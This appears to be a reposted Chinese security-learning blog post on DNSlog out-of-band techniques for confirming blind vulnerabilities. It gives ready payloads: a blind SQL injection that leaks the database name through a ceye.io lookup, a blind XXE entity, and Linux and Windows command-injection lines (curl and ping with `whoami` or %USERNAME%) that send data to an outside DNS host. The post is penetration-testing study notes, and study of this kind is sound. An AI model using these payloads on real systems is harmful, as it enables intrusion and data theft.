Dnslog在诸多漏洞中的利用方式

安全学习了大概快半年了,对于诸多漏洞的原理和基础应用大概也基本了解了。

之前都是以‘点(每个漏洞怎样?)’的方式在学习、记忆。现在感觉需要做一些总结:

今天又看到了DNSlog这个词,记起了第一次接触是在SQL盲注那一块知识,后来在SSRF中测试无回显情况中也遇到过,遂想做一下dnslog在诸多漏洞中的利用方式总结。

DNSlog原理:

原理就是:DNS协议有一个不懂就问的特点,向自己的上一级DNS服务器发问(请求解析),电脑在请求域名解析的时候会向DNS服务器请求,我们可以申请一个dns服务器如:ceye.io,因为电脑发出的请求域名如:payload.ceye.io是我们dns服务器的子域,所以它的解析请求就会被我们捕获。

本质:依靠域名解析,把带有payload解析后的域名向DNS服务器请求,从而获取payload解析后的数据

利用点:只要是能够发出域名解析请求的地方都可以用这种方式获取数据。

可以利用DNSlog的漏洞:

  1. SQL盲注
  2. XXE(SSRF)(无回显)
  3. 命令执行(无回显)
  4. XSS(无回显)

1、SQL盲注

//直接上payload演示
http://127.0.0.1/sqli_blind/
?id=1' and if((select load_file(concat('\\',(select database()),'.YourDnsSite.ceye.io\sql_test'))),1,0)--+   //需要注意  \sql_test 这一块可以随便写,意思就是请求这个服务器上的一个文件,但是不写不行,具体原理不太了解,全靠实践获得吧

  然后我们就可以在我们申请的dns服务器上查看到:库名.YourDnsSite.ceye.io  这一条域名解析记录

2、XXE(SSRF)(无回显)

这里之所以写XXE(SSRF),其实是实战中碰到的一种情况,XXE一般有两种,一种是有回显的,一种是无回显的,即大家常说的盲XXE,然后对于这种盲XXE,我们验证漏洞就可以使用让它去请求一个服务器域名,看他是不是执行了,而且这种XXE漏洞一般都是与SSRF相关的。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.YourDnsSite.ceye.io/xxe_test"> %remote;]> <root/>    // http://ip.YourDnsSite.ceye.io/xxe_test部分拼凑一个域名,看看目标机器会不会去想dns服务器请求解析

3、命令执行(无回显)

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。 

这里分两种情况:Linux系统和Windows系统

Linux:

curl http://ip.port.domain.ceye.io/`whoami`   //就会在dns服务器显示  ip.port.root.ceye.io

ping `whoami`.ceye.io //就会在dns服务器显示 ip.port.root.ceye.io

Windows:

ping %USERNAME%.domain.ceye.io  //查询该电脑中的环境变量 
类似的这种环境变量还有:
变量类型描述
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执行文件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。

4、XSS(无回显)

XSS绕过CSP  参阅freebuf此文

注意:

1、命令执行时要避免空格,空格会导致空格后面的命令执行不到;

2、将读取的文件命令用``包含起来

3、拼接的域名有长度限制。(可能需要使用函数分块截取)

原文地址:https://www.cnblogs.com/Qiuzhiyu/p/13137564.html